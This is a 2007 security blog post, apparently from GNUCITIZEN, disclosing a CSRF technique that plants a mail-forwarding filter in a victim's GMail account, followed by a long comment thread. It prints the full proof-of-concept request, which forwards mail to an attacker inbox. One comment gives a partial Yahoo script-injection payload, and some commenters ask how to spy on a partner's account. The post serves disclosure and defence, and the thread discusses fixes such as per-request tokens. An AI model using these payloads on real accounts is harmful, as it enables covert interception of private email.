Google GMail E-mail Hijack Technique
I feel a bit dirty now. First of all, I would like to say that I am a huge Google fan, so don’t take this post personally. Here I am going to show you how someone can install a persistent backdoor within your GMail account and snoop onto all your conversations. I repeat, it is persistent. It is very critical and very unlikely that you will detect it unless you are an uber user.
The following sequence describes how the attack works in a series of screenshots. Go over each step before moving forward.
The victim visits a page while being logged into GMail. Upon execution, the page performs a multipart/form-data POST to one of the GMail interfaces and injects a filter into the victim’s filter list. In the example above, the attacker writes a filter, which simply looks for emails with attachments and forward them to an email of their choice. This filter will automatically transfer all emails matching the rule. Keep in mind that future emails will be forwarded as well. The attack will remain present for as long as the victim has the filter within their filter list, even if the initial vulnerability, which was the cause of the injection, is fixed by Google.
The technique used in this example is known as Cross-site request forgery, or simply put CSRF. I am not planning to go into details how it works. Just look it up on Google or better yet, Yahoo. Yes Yahoo is a lot better these days, especially when it comes to hardcore Web2.0 API hacking. For more information, check out the following white paper.
I am not planning to release this vulnerability for now. However, it is my responsibility to inform you about it. The exploit was verified by Ryan Naraine and several close friends. It does work and it is extremely nasty if you ask me. You may criticize my disclosure policy regarding this vulnerability and the one disclosed several days ago concerning PDF. Let’s say that it is just one of my social experiments.
btw, if you find the vulnerability, pls do not disclose it. let Google fix it first and then blog about it. also, virtualized browsers will never protect you from these types of attacks. In an age where all the data is in the cloud, it makes no sense for the attackers to go after your box. it is a lot simpler to install one of these persistent backdoor/spyware filters. game over! they don’t own your box, but they have you, which is a lot better.
Update 28 September 2007 at 07:46 GMT (UTC+0)
I promised to release the POC as soon as Google fix the vulnerability, well they did. So, here is how it works:
http://www.gnucitizen.org/util/csrf?_method=POST&_enctype=multipart/form-data&_action=https%3A//mail.google.com/mail/h/ewt1jmuj4ddv/%3Fv%3Dprf&cf2_emc=true&cf2_email=evilinbox@mailinator.com&cf1_from&cf1_to&cf1_subj&cf1_has&cf1_hasnot&cf1_attach=true&tfi&s=z&irf=on&nvp_bu_cftb=Create%20FilterThe request above goes through my CSRF redirection utility where it is converted into multipart/form-data form and submitted on behalf of the victim. The actual exploit can be launched from here.
comments
I think beford was faster: http://blog.beford.org/?p=3
buherator, this is a different exploit/vulnerability all together…
Wow. Checked my Filters right away and gladly I haven’t been affected.
Keep up the great work.
I’m all for giving the developer time to fix a bug, but why simultaneously disclose without detail? There are plenty of smart people that will use it as information pointing to something that is interesting and will likely also find the bug. Not very useful. If you don’t like full public disclosure, say nothing at all until a fix is in place.
You do great work and I enjoy reading the technical details of your disclosures and research. I’m not sure this new disclosure experiment is any better than someone saying, “There is a critical bug in IE. Don’t use it”.
Please do keep up the good work even if some of us are critical of your new disclosure policy.
CSRF using POST, right?
Can I assume what I’m assuming about mitigation provided by a certain Firefox extension?
i don’t know if people realize How Much these bugs can be dangerous. E-mail is a very very personal space,the user trust it.
I like G.ogle but, it should slow down a bit. There are too much services/features. The user have no time to fully understand how it works and it’s weakness. The Course To Web 2.0 it’s becoming very dangerous.
Giorgio, I thought that NoScript can prevent JavaScript from executing only, but it cannot prevent POST forms to submit if the user clicks on it right? Nevertheless, the attack will be a lot more difficult without JavaScript, unless there is a way to say that the forms should submit when it renders without using any scripting at all.
Petko, NoScript by default prevents every each cross-site POST from untrusted sites as part of its anti-XSS countermeasures which, incidentally, do work as anti-CSRF countermeasures in the best-practice case of POST used for non-idempotent requests, like GMail filters do.
So even if you manage to trick user into clicking a submit button (e.g. using clever CSS disguises), the payload will be stripped out :)
Giorgio, sounds good but doesn’t that break things. I mean, CSRF is one of the most fundamental Web characteristic. Disabling it might be ok for people like us, but for the general population, that is a no go! I am not trying to make people more vulnerable. I want for the the extension to succeed. But that wont happen if it breaks pages.
@Anonymous: This is what happens if you silently wait for someone to fix a bug.
http://bitsex.net/2007/09/norw.....-fucks-up/
Is this what you want?
What pdp is doing is very honourable. Not only does he warn us, but he keeps a lid on how to do it. If he let people know how to do it, then we would have a bunch of script kiddies probably making a mess. Now those who know and might find out how to do it are so few, so most of us won’t notice it, and it will be hopefully fixed within it might get very critical.
So again, what do you want? A silent warning or no warning at all?
Petko, this anti-CSRF feature has been in place for six months now (since March, 18th) and nobody complained about it. Consider that by default NoScript filters exclusively cross-site POST requests *from untrusted to trusted* sites, and as such is very unlikely to break anything legitimate.
Why should you want an untrusted site to modify the state (that’s what POST is for) of a site you trust?
At any rate, I repeat: I didn’t receive any complaint about it, and many people didn’t even notice — just like you ;)
@xen ix
I’m not too interested in the script kiddie effect. Yes, they can cause a severe nuisance.
What I am more concerned about are those with equal or greater talents than the public researchers that are tipped off as to where to look. As you say, they are few and most of us won’t notice when they succeed. What partial disclosure does is to raise the awareness of those who can exploit a weakness as they WILL know what to look for.
I am in the full public disclosure camp, following a reasonable private disclosure timeout to the vendor. While you await a vendor fix in whatever timeline suits you as the discloser, don’t tip your hat to the people who have no ethics.
pdp does a great service to the community at large. My only gripe is that if there is a public disclosure of any kind, make it full so that mitigations can be researched. If you are working with the vendor and don’t want to make a full disclosure because the vendor has not yet fixed the issue, don’t publicly disclose at all. When the vendor either fixes the problem or stops working with you, go for full public disclosure.
Giorgio, that’s all cool. However, I’ve seen many many different setups, especially Intranet ones, that require CSRF to work. In one recent case, the company that I was consulting had to even reduce the security level for the Internet zone, from the domain controller, in order to make their Web app work, since it requires users to be able to open file:// URLs. You call that crazy. I call that crazy, but this is the real world.
Another awesome disclosure, pdp. I always enjoy the creative uses you find for vulnerabilities. I don’t believe I ever would have thought to combine a filter with a CSRF in order to create a persistent issue within any mail service. Nice work.
Petko, not to be picky, but they need CSR, not CSRF to work :)
Anyway, NoScript is very configurable on this side: “NoScript Options|Advanced|XSS|Exceptions”
Very interesting… tried and works… Great thinking…
Very nice find again - and a signal to not underestimate CSRF like usual.
@Giorgio: I didn’t know about the CSRF protection yet - great thing.
“Nevertheless, the attack will be a lot more difficult without JavaScript, unless there is a way to say that the forms should submit when it renders without using any scripting at all.”
Guys,
Let’s remember that even if you don’t allow scripting from a certain domain (i.e.: using NoScript), we can still forge a POST request by simply tricking the user to click on a image. I love using the thumbnail of a hot chick for demo purposes. Come on, don’t tell me you wouldn’t click on it to make the picture bigger! :-D
I really doubt NoScript can stop the previous code, as we don’t use JavaScript. Anyways, this vulnerability is a KILLER and gives me lots of new ideas to poke with webmail services out there.
Adrian,
You probably missed my comment http://www.gnucitizen.org/blog.....ment-52628
and the discussion which followed.
In short, NoScript actually prevents this kind of attack even if the attacker uses a scriptless CSRF vector like yours, and the countermeasure proved to be so much transparent that neither you nor Petko noticed it even if it’s there since six months ago ( http://noscript.net/changelog#1.1.4.6.070318 ): cross-site POST requests from untrusted sites are turned into no-data GET.
gmail BETA, verry inportant to read the beta thing ;)
What happens when you delete the filter?
Nice found! To Google to fix it.
Your friend Ryan Naraine disclosed the exploit in his plagiarism of your article and even included links to an EVIL site with the LIVE exploit, so that the unaware could get infected first hand.
That’s not the kind of education I need…
I have requested that he edit the article with no response.
I can´t say nothing…
just…
Wow…
lol
Congrats for your great job!
How Do We Fix This Vulnerability?
DrByte: the links in Narrine’s blog are to an older, already patched exploit. I don’t know why he linked to PoCs for something that is patched.
PDP: I just want to say that it is great how you have stepped up the technical content in the blog again, even if I’m not quite in agreement with your (non)disclosure technique. But its your choice, so i won’t bother complaining or debating.
Anyway, nice job on the recent vulns, including this one.
Yes, and that’s why various RFCs recommend that servers only take action on POST requests, and that user agents make POST actions visually distinct. Another wise and obvious rule broken by “designers”.
Good job. Only maybe you should have notified google first (and ask for a hefty ransom :-)).
Google is working on a fix! This is what I’ve got when I tried the exploit this evening.
Elegant! I like the way Google fixes bugs.
Giorgio Maone,
That’s actually pretty cool, nice work! I’m a big fan of NoScript btw!
Com’on GMAIL this is the second time, this happens, enough is enough.
yeap, the bug has been fixed, as you can see, the request now has a new field named “at”, that has 2 hex-strings separated by a slash, the first one appears to be a session identifier, and the second a counter.
Greetz!!
check above for further details on the vulnerability…
Forgive my ignorance, but wouldn’t launching every click in a separate virtual machine sandbox go a long way toward a solution? No cross pollination, no problem, right?
nice one pdp!!
Is it just me, or is this the security post with the biggest number of trackbacks on the planet? :-D
MuyCapaz, the sandboxing model will help protecting you box but not your data!!!
Did someone know if this other bugs has been fixed http://xs-sniper.com/blog/Goog.....main-Hole/
It concerns Google Docs & Crossdomain.xml
Thorn
I heard that google fixed this problem
this is good but it has some problem like it doesn’t describe a lot about hw it hack the email account….
it requires little bit more description
Good stuff man!.
This is the second CSRF affecting GMail recently. Is there any details on how they fixed the two vulnerabilities?
Romain.
That’s actually pretty cool, nice work! I’m a big fan of NoScript btw!
Salut,
Yahoo has similar attack holes in http://omg.yahoo.com/
Attack example
http://omg.yahoo.com/happy-bir.....otos/810/6
1. Get yahoo 360 blog … upload your picture in the blog and select the picture to be shared in settings.
2. Go to above omg.Yahoo.com/something and comment in the box with any evil script type url.
Now the example attack im using is with 360.
Post:
">YahooHacked');">This script will replace all others users avatars with your own avatar and you will recive a Yahoo Admin Email and might have your account closed … Enjoy
lol…this makes no sense 2 me…it sounds great however does this stuff work 2 catch a cheating spouse???
came here by browsing archives… is the account in seq1.jpg yours? it looks that the jvyyuie guy is adding all the Wink to his friends.
thanks for keeping us up to speed and even moreso for making sure these script kiddies don’t figure out how to do it (eventho fixed). keep up the good work!
You fix the exploit by not opening mail or clicking on any links in mail from people you dont know silly :p
This crap is old. Anyone can sploit this.
This technique has been out long before Gmail was even a thought. And its one of those things thats always going to be around.
Some people use mail server hacks where they can send a email completely from a email like “support@paypal.com” and have the paypal page in the email but when you click on the link it goes to there cookie sploiting site instead of people or even worse may collect your login information becuase your too silly to look at the url or they have a URL rewrite filter that makes it look like its paypal.
The only thing you can do to fight these things.
1. Dont open mail from people you dont know.
2. If the mail is from a potential customer “someone you need to meet through email as a new person” then setup a email address for that flow like sales@mydomain.com
Makes sure the mail is scanned for virus and spoof checked.
3. Use a smaller email provider. Smaller email service providers can take more care in adding custom SPF records and spam filters in the Mail server for your pop and smtp service that checks headers and makes the mail actually comes from what it says its coming from.
Thanks for posting this. A good friend had their account compromised and they wondering why their domain name registrations were stolen from them.
Green Party Guy, we are aware of the case, though it is very hard to define the method the attacker has used in order to hijack the account.
Very informative, esp. the trick for NoScript (kiddies) :)
I think CSRF can be easily defeated by checking referer. If your site is not supposed to receive any POST from any 3th party side, then check where POST comes from and block them altogether.
Surprised that gmail is not doing this..
Nicolae, refers can be spoofed, not to mention that you can configure your browser not to send them at all. Therefore, CSRF protection based on refers only is not a solution. The only solution is to implement random tokens per request and store their values within the form you want to check for a CSRF condition. This works and this is what the Google folks tried to do, although their implementation was seriously flawed.
I would like to hack into my friends account i believe that she is hidding something from me
Hey….
I m not understanding what have to do in the filter…. can anyone plz tell me……
Snx for you job!
It has very much helped me!
but these days mitm is possible though..:d
I have been locked out of my gmail account. How do I hack back in?